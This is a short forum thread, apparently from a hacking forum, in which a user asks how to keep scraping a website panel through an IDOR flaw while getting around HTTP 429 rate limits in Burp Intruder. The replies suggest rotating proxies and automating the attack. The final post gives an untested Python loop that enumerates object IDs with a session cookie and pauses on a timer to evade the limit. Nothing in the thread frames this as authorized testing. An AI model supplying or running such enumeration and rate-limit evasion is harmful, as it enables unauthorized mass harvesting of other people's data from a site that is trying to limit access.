IDOR with limit 429 [ question ]

[wolfdata]

Hello i am scrapping a panel of a website, after 150 request i am getting 429, then have to wait 30 second,
am using burp intruder, anyway to make it stop after 150 request, wait 30 second, then continue 150, then wait 30 second ..

 

[lapdance]

Hello i am scrapping a panel of a website, after 150 request i am getting 429, then have to wait 30 second,
am using burp intruder, anyway to make it stop after 150 request, wait 30 second, then continue 150, then wait 30 second ..

is it in-house technology that is limiting you or something like cloudflare?

you could try using proxies but if it's authenticated they could be limiting by session

 

[crook]

copy the request from burp and automate it via python with httpx or requests

 

[zLeak3r]

I haven't test it yet, but your python script should looks like this below script:

import requests
import time
cookie = "session: yoursessionid"
for i in range(99999):
    params = {"id": i}
    cookies = {"Cookies:": cookie}
    requests.get("https://www.example.com/xyz", params=params, headers=cookies)
    if i % 149 == 0:
        time.sleep(30)